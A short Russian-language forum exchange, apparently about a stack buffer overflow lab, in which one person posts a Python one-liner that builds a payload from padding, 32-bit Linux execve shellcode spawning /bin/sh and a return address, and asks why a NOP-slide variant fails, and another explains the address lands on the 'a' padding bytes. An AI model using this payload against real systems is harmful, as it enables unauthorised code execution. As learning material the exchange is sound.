Решение
В первом случае 0xbffff76c - это адрес начала шеллкода.Насколько я прочитала, адрес 0xbffff76c является адресом начала шеллкода и на него нужно ссылаться при атаке. При командеpython -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shellиr < ~/shellв gdb у меня выходит получить оболочку /bin/dash, но при использовании техники Nop slide с этим адресом ничего не получается.
Я видимо чего-то очень сильно не понимаю...
Но когда вы использовали технику Nop Slice, адрес стал указывать на буквы
aaaa. Их ascii код - 0x61 (Для большой A - 0x41). Программа пытается исполнить инструкции...